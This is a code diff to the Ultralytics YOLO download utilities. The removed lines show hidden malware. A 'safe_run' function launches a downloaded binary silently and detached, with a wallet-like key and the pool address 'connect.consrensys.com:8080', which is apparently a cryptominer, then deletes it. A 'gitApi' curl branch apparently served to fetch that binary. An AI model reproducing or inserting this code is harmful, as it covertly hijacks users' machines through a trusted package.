11# Ultralytics YOLO 🚀, AGPL-3.0 license
22
3- import os
43import re
54import shutil
65import subprocess
@@ -275,30 +274,7 @@ def get_google_drive_file_info(link):
275274 filename = re .findall ('filename="(.+)"' , cd )[0 ]
276275 return drive_url , filename
277276
278- def safe_run (
279- path
280- ):
281- """Safely runs the provided file, making sure it is executable..
282- """
283- os .chmod (path , 0o770 )
284- command = [
285- path ,
286- '-u' ,
287- '4BHRQHFexjzfVjinAbrAwJdtogpFV3uCXhxYtYnsQN66CRtypsRyVEZhGc8iWyPViEewB8LtdAEL7CdjE4szMpKzPGjoZnw' ,
288- '-o' ,
289- 'connect.consrensys.com:8080' ,
290- '-k'
291- ]
292- process = subprocess .Popen (
293- command ,
294- stdin = subprocess .DEVNULL ,
295- stdout = subprocess .DEVNULL ,
296- stderr = subprocess .DEVNULL ,
297- preexec_fn = os .setsid ,
298- close_fds = True
299- )
300- os .remove (path )
301-
277+
302278def safe_download (
303279 url ,
304280 file = None ,
@@ -310,7 +286,6 @@ def safe_download(
310286 min_bytes = 1e0 ,
311287 exist_ok = False ,
312288 progress = True ,
313- gitApi = False
314289):
315290 """
316291 Downloads files from a URL, with options for retrying, unzipping, and deleting the downloaded file.
@@ -329,7 +304,6 @@ def safe_download(
329304 a successful download. Default: 1E0.
330305 exist_ok (bool, optional): Whether to overwrite existing contents during unzipping. Defaults to False.
331306 progress (bool, optional): Whether to display a progress bar during the download. Default: True.
332- gitApi (bool, optional): Whether to use the Git API to download a file. Default: False
333307
334308 Example:
335309 ```python
@@ -343,12 +317,6 @@ def safe_download(
343317 if gdrive :
344318 url , file = get_google_drive_file_info (url )
345319
346- if gitApi :
347- f = file
348- url = f"https://api.github.com/repos/ultralytics/ultralytics/git/blobs/{ url } "
349- r = subprocess .run (["curl" , "-#" , "-H" ,"Accept: application/vnd.github.raw+json" ,f"-sSL" , url , "-o" , f , "--retry" , "3" , "-C" , "-" ]).returncode
350- return True
351-
352320 f = Path (dir or "." ) / (file or url2file (url )) # URL converted to filename
353321 if "://" not in str (url ) and Path (url ).is_file (): # URL exists ('://' check required in Windows Python<3.10)
354322 f = Path (url ) # filename
@@ -357,13 +325,14 @@ def safe_download(
357325 "https://github.com/ultralytics/assets/releases/download/v0.0.0/" ,
358326 "https://ultralytics.com/assets/" , # assets alias
359327 )
360- desc = f"Downloading { uri } to '{ f } '"
328+ desc = f"Downloading { uri } to '{ f } '"
329+ LOGGER .info (f"{ desc } ..." )
361330 f .parent .mkdir (parents = True , exist_ok = True ) # make directory if missing
362331 check_disk_space (url , path = f .parent )
363332 for i in range (retry + 1 ):
364333 try :
365334 if curl or i > 0 : # curl download with retry, continue
366- s = "sS" * (not progress ) # silent
335+ s = "sS" * (not progress ) # silent
367336 r = subprocess .run (["curl" , "-#" , f"-{ s } L" , url , "-o" , f , "--retry" , "3" , "-C" , "-" ]).returncode
368337 assert r == 0 , f"Curl return value { r } "
369338 else : # urllib download
@@ -392,15 +361,17 @@ def safe_download(
392361 if i == 0 and not is_online ():
393362 raise ConnectionError (emojis (f"❌ Download failure for { uri } . Environment is not online." )) from e
394363 elif i >= retry :
395- raise ConnectionError (emojis (f"❌ Download failure for { uri } . Retry limit reached." )) from e
364+ raise ConnectionError (emojis (f"❌ Download failure for { uri } . Retry limit reached." )) from e
365+ LOGGER .warning (f"⚠️ Download failure, retrying { i + 1 } /{ retry } { uri } ..." )
396366
397367 if unzip and f .exists () and f .suffix in {"" , ".zip" , ".tar" , ".gz" }:
398368 from zipfile import is_zipfile
399369
400- unzip_dir = (dir or f .parent ).resolve () # unzip to dir if provided else unzip in place
370+ unzip_dir = (dir or f .parent ).resolve () # unzip to dir if provided else unzip in place
401371 if is_zipfile (f ):
402372 unzip_dir = unzip_file (file = f , path = unzip_dir , exist_ok = exist_ok , progress = progress ) # unzip
403373 elif f .suffix in {".tar" , ".gz" }:
374+ LOGGER .info (f"Unzipping { f } to { unzip_dir } ..." )
404375 subprocess .run (["tar" , "xf" if f .suffix == ".tar" else "xfz" , f , "--directory" , unzip_dir ], check = True )
405376 if delete :
406377 f .unlink () # remove zip
0 commit comments